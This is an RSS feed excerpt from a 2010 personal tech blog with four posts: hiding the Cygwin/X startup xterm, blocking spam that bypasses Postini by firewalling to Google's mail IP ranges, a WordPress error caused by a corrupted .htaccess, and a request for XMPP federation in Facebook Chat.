		<title>Cygwin/X XWin Server leaves an xterm window behind when starting</title>
		<link>http://aaron-kelley.net/blog/2010/02/cygwinx-xwin-server-leaves-an-xterm-window-behind-when-starting/</link>
		<comments>http://aaron-kelley.net/blog/2010/02/cygwinx-xwin-server-leaves-an-xterm-window-behind-when-starting/#comments</comments>
		<pubDate>Mon, 22 Feb 2010 22:40:28 +0000</pubDate>
		<dc:creator>Aaron</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[Cygwin]]></category>

		<guid isPermaLink="false">http://aaron-kelley.net/?p=784</guid>
		<description><![CDATA[When you start up Cygwin&#8217;s X.Org X11 server via startxwin.exe, it likes to leave an xterm window open on your desktop. I suppose this is kind of handy if you were manually starting Cygwin/X, it&#8217;s pretty annoying if you have it set to start up when you log in to Windows.  To keep this from [...]]]></description>
			<content:encoded><![CDATA[<p>When you start up <a href="http://x.cygwin.com/" target="_blank">Cygwin&#8217;s X.Org X11 server</a> via startxwin.exe, it likes to leave an xterm window open on your desktop.</p>
<p style="text-align: center;"><img class="size-full wp-image-785 aligncenter" title="xterm from Cygwin/X" src="http://aaron-kelley.net/wp-content/uploads/2010/02/xterm.png" alt="" width="534" height="413" /></p>
<p>I suppose this is kind of handy if you were manually starting Cygwin/X, it&#8217;s pretty annoying if you have it set to start up when you log in to Windows.  To keep this from happening, you just need to add an empty <tt>.startxwinrc</tt> file to your Cygwin home directory.  That is, start the Cygwin bash shell, and use this command:</p>
<blockquote><p><tt>touch .startxwinrc</tt></p></blockquote>
<p>That&#8217;s it!  No more xterm windows popping up.</p>
<p>Oh, if you&#8217;d rather have something besides xterm start up when you start Cygwin/X, you can just add a list of commands to <tt>.startxwinrc</tt> and it will execute them after starting the X.Org server.</p>
]]></content:encoded>
			<wfw:commentRss>http://aaron-kelley.net/blog/2010/02/cygwinx-xwin-server-leaves-an-xterm-window-behind-when-starting/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Deployed Postini and still getting spam?  Spammers may be bypassing Postini altogether.</title>
		<link>http://aaron-kelley.net/blog/2010/02/deployed-postini-and-still-getting-spam-spammers-may-be-bypassing-postini-altogether/</link>
		<comments>http://aaron-kelley.net/blog/2010/02/deployed-postini-and-still-getting-spam-spammers-may-be-bypassing-postini-altogether/#comments</comments>
		<pubDate>Sun, 21 Feb 2010 22:47:35 +0000</pubDate>
		<dc:creator>Aaron</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[E-mail]]></category>
		<category><![CDATA[E-mail Security]]></category>
		<category><![CDATA[Postini]]></category>

		<guid isPermaLink="false">http://aaron-kelley.net/?p=782</guid>
		<description><![CDATA[So, to combat spam, I recently deployed Postini at my workplace.  We qualified for the K-12 promotion to it is awesome to have good spam handling for free.  We currently use FirstClass as our mail server, and I&#8217;d rate it&#8217;s built in spam-handling mechanisms as &#8220;poor-to-none.&#8221;  (We are eying Google Apps mail as a replacement [...]]]></description>
			<content:encoded><![CDATA[<p>So, to combat spam, I recently deployed <a href="http://www.google.com/postini/" target="_blank">Postini</a> at my workplace.  We qualified for the <a href="http://www.google.com/support/a/bin/answer.py?hl=en&amp;answer=159594" target="_blank">K-12 promotion</a> to it is awesome to have good spam handling for free.  We currently use <a href="http://www.firstclass.com/" target="_blank">FirstClass</a> as our mail server, and I&#8217;d rate it&#8217;s built in spam-handling mechanisms as &#8220;poor-to-none.&#8221;  (We are eying Google Apps mail as a replacement in the next year or so.)</p>
<p>So, after finally getting Postini deployed and enabled for all accounts, the Postini stats report that just over 50% of incoming mail is being tossed out as &#8220;blatant spam,&#8221; with over 25% of the <em>remaining</em> mail being quarantined as &#8220;potential spam.&#8221;  This is with Postini on the default lowest aggressiveness setting.  So, assuming the worst case (&#8220;all incoming mail is spam&#8221;, which is almost true), our users are already receiving less than 37.5% as much spam as they used to.  Once we&#8217;re satisfied that things are working fine, I&#8217;ll bump up the aggressiveness.</p>
<p>Anyways, I noticed that my FirstClass inbox was still being bombarded by spam messages (a few per hour), most of them obviously spam.  Why weren&#8217;t these being blocked by Postini?</p>
<p><span id="more-782"></span>Checking the headers on these spam messages, I noticed that they weren&#8217;t being routed through the Postini servers.  This means that the <em>spammers are ignoring the MX records for our domain</em> and delivering mail directly to the FirstClass server.  They must have cached the old MX record and kept using it after we switched it to point to a Postini server, because what spammer wants to send mail through Postini if they have the choice?  Anyway, yuck.</p>
<p>Turns out that this is <a href="http://www.google.com/support/appsecurity/bin/answer.py?hl=en&amp;answer=140065" target="_blank">not an</a> <a href="http://spamhuntress.com/2005/09/19/virus-and-spam-ignores-mx-records/" target="_blank">unknown problem</a>.  I find it pretty interesting, though.  I didn&#8217;t know that spammers did this since I had never bumped into this situation before; just another pretty smart thing that the spammers are doing to get around your efforts to stop them.</p>
<p>Anyway, the solution in this case is to set the mail server (the FirstClass server in this case) or a firewall in between your mail server and the Internet to only accept connections from where it should be coming from.  Seems simple enough?  We are actually routing the mail through Google Apps, so the answer was to only allow connections from addresses that Google&#8217;s SPF record says that mail should be coming from.</p>
<blockquote><p><tt>209.85.128.0/17<br />
216.239.32.0/19<br />
64.233.160.0/19<br />
66.249.80.0/20<br />
72.14.192.0/18<br />
66.102.0.0/20<br />
74.125.0.0/16<br />
64.18.0.0/20<br />
207.126.144.0/20<br />
173.194.0.0/16</tt></p></blockquote>
<p>Anyway, I set these filters in our firewall and, presto, no spam messages all weekend.</p>
]]></content:encoded>
			<wfw:commentRss>http://aaron-kelley.net/blog/2010/02/deployed-postini-and-still-getting-spam-spammers-may-be-bypassing-postini-altogether/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress on Mac OS X &#8212; Server Error 500</title>
		<link>http://aaron-kelley.net/blog/2010/02/wordpress-on-mac-os-x-server-error-500/</link>
		<comments>http://aaron-kelley.net/blog/2010/02/wordpress-on-mac-os-x-server-error-500/#comments</comments>
		<pubDate>Thu, 18 Feb 2010 22:28:04 +0000</pubDate>
		<dc:creator>Aaron</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[Mac OS X Server]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://aaron-kelley.net/?p=780</guid>
		<description><![CDATA[I ran into this problem with WordPress running on a Mac OS X server.  I suppose that this may happen on other servers running Apache as well.  Attempting to access the WordPress site threw this error at you: Server error! The server encountered an internal error and was unable to complete your request. Either the [...]]]></description>
			<content:encoded><![CDATA[<p>I ran into this problem with WordPress running on a Mac OS X server.  I suppose that this may happen on other servers running Apache as well.  Attempting to access the WordPress site threw this error at you:</p>
<blockquote><p><tt>Server error!<br />
The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there was an error in a CGI script.<br />
If you think this is a server error, please contact the webmaster.<br />
Error 500</tt></p></blockquote>
<p>Turned out that the <tt>.htaccess</tt> file in the root of the WordPress install had some gibberish in it.  It looks like this gibberish replaced some of the actual contents of the file.  I don&#8217;t know how it got there, but fixing the <tt>.htaccess</tt> file solved the problem.  So, that&#8217;s something to check if you are having this problem as well!</p>
]]></content:encoded>
			<wfw:commentRss>http://aaron-kelley.net/blog/2010/02/wordpress-on-mac-os-x-server-error-500/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>A request for federation (&#8220;S2S&#8221;) support on Facebook Chat XMPP!</title>
		<link>http://aaron-kelley.net/blog/2010/02/a-request-for-federation-s2s-support-on-facebook-chat-xmpp/</link>
		<comments>http://aaron-kelley.net/blog/2010/02/a-request-for-federation-s2s-support-on-facebook-chat-xmpp/#comments</comments>
		<pubDate>Fri, 12 Feb 2010 02:54:37 +0000</pubDate>
		<dc:creator>Aaron</dc:creator>
				<category><![CDATA[The World Online]]></category>
		<category><![CDATA[Facebook]]></category>
		<category><![CDATA[Facebook Chat]]></category>
		<category><![CDATA[Google Talk]]></category>
		<category><![CDATA[XMPP]]></category>

		<guid isPermaLink="false">http://aaron-kelley.net/?p=708</guid>
		<description><![CDATA[Yesterday, Facebook finally launched XMPP support for Facebook Chat.  (More about XMPP here.)  This is something that they announced that they were working on back in May, 2008 &#8212; almost two years ago.  After a long time (of mostly silence), here we have it &#8212; you can now connect to Facebook using (almost) any XMPP [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday, <a href="http://blog.facebook.com/blog.php?post=297991732130" target="_blank">Facebook finally launched XMPP support for Facebook Chat</a>.  (<a href="http://en.wikipedia.org/wiki/Extensible_Messaging_and_Presence_Protocol" target="_blank">More about XMPP here</a>.)  This is something that they <a href="http://developers.facebook.com/news.php?blog=1&amp;story=110" target="_blank">announced that they were working on back in May, 2008</a> &#8212; almost two years ago.  After a long time (of mostly silence), here we have it &#8212; you can now connect to Facebook using (almost) any XMPP client, including popular &#8220;universal&#8221; chat clients like Pidgin, Trillian, Adium, Digsby, Miranda, Empathy, etc., using the XMPP support that they already have.  This also paves the way for Facebook Chat to become one of the most used IM protocols, up in the ranks with AOL Instant Messenger, Windows Live, and Google Talk.</p>
<p>I&#8217;m a bit disappointed, but not surprised, that this initial launch of XMPP support comes <em>without</em> support for XMPP federation (&#8220;S2S&#8221;).  If we had S2S support for Facebook Chat, then Facebook users could talk with users on any XMPP/Jabber network, and vice versa.  This would also enable a particularly cool bridge between Facebook Chat and Google Talk, which are both based on XMPP, and it might even push AIM and WLM more towards supporting XMPP, so that we could have a truly universal IM network on the Internet.  (We have it for e-mail already&#8230; why not for IM?)</p>
<p><span id="more-708"></span>Of course, Facebook is still about connections to other Facebook users, and all of the group and privacy controls are based on this.  So, this is how I picture XMPP federation working with Facebook:</p>
<ul>
<li>A user, who we will call &#8220;Joe,&#8221; uses another XMPP network but wants to talk to Facebook Chat users.</li>
<li>Joe must have a Facebook account.</li>
<li>Joe goes to his Facebook account and registers his XMPP handle by adding it to his profile (just like you can add additional e-mail addresses).</li>
<li>Now, Facebook sends authentication requests from all of the users that Joe can talk to on Facebook Chat to Joe&#8217;s XMPP account.  Joe can then add them to his other XMPP contact list.</li>
<li>Now, Joe can talk to Facebook Chat users from his other XMPP account.  Facebook Chat users using the web interface will see Joe just like they see any other Facebook user, along with his picture and a link to his profile or whatever.  Privacy settings that they have applied to Joe apply to his extra XMPP account too.  Since he registered his XMPP handle in his profile, everyone knows who he is, and Facebook makes this connection between his XMPP account and his Facebook account obvious to Facebook Chat users.</li>
</ul>
<p>There you have it.  Simple for Facebook Chat users using the web UI &#8212; in fact, the user experience for them doesn&#8217;t change at all.  And convenient for people who already use another XMPP account to chat (like Google Talk).</p>
<p>Launching XMPP support closed <a href="http://bugs.developers.facebook.com/show_bug.cgi?id=3152" target="_blank">this long-standing bug</a>, which was the highest-voted bug on Facebook&#8217;s Bugzilla bug tracker.  I&#8217;d love to see similar support for <a href="http://bugs.developers.facebook.com/show_bug.cgi?id=8740" target="_blank">the XMPP federation bug</a>!</p>
<p><strong>Update, 10:34 PM:</strong></p>
<p>Just for reference, you can check out Facebook Chat&#8217;s XMPP implementation status at <a href="http://www.imtrends.com/do/search_domain_simple?domain=chat.facebook.com" target="_blank">IMTrends</a>.  Once they support XMPP federation, we should see green checkmarks next to the server-to-server entries (like <a href="http://www.imtrends.com/do/search_domain_simple?domain=aaron-kelley.net" target="_blank">this one</a>).</p>
<p><strong>Update, February 12, 2010:</strong></p>
<p>Someone actually beat me to filing a bug for XMPP federation support.  (Though I am sure I searched for &#8220;XMPP&#8221; before filing my bug and it didn&#8217;t show up.)  I&#8217;ve changed the link above to point to the earlier bug.</p>
]]></content:encoded>
			<wfw:commentRss>http://aaron-kelley.net/blog/2010/02/a-request-for-federation-s2s-support-on-facebook-chat-xmpp/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
